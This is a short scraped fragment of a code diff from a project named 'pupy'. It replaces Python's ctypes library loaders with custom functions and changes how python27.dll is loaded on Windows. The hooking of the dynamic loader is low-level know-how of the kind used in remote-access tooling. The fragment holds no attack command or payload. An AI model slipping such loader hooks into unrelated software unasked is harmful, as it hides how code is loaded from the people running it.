ctypes.CDLL = PupyCDLL
|
||||
ctypes.PyDLL = PupyPyDLL
|
||||
|
||||
ctypes._dlopen = _pupy_dlopen
|
||||
ctypes.util.find_library = _pupy_find_library
|
||||
|
||||
|
@ -136,7 +92,7 @@ def apply_dl_hacks():
|
|||
|
||||
if sys.platform == 'win32':
|
||||
try:
|
||||
libpython = ctypes.PyDLL('python27.dll', handle=False)
|
||||
libpython = ctypes.PyDLL('python27.dll')
|
||||
except WindowsError:
|
||||
pupy.dprint('python27.dll not found')
|
||||
else:
|
||||
|
|
Loading…
Reference in New Issue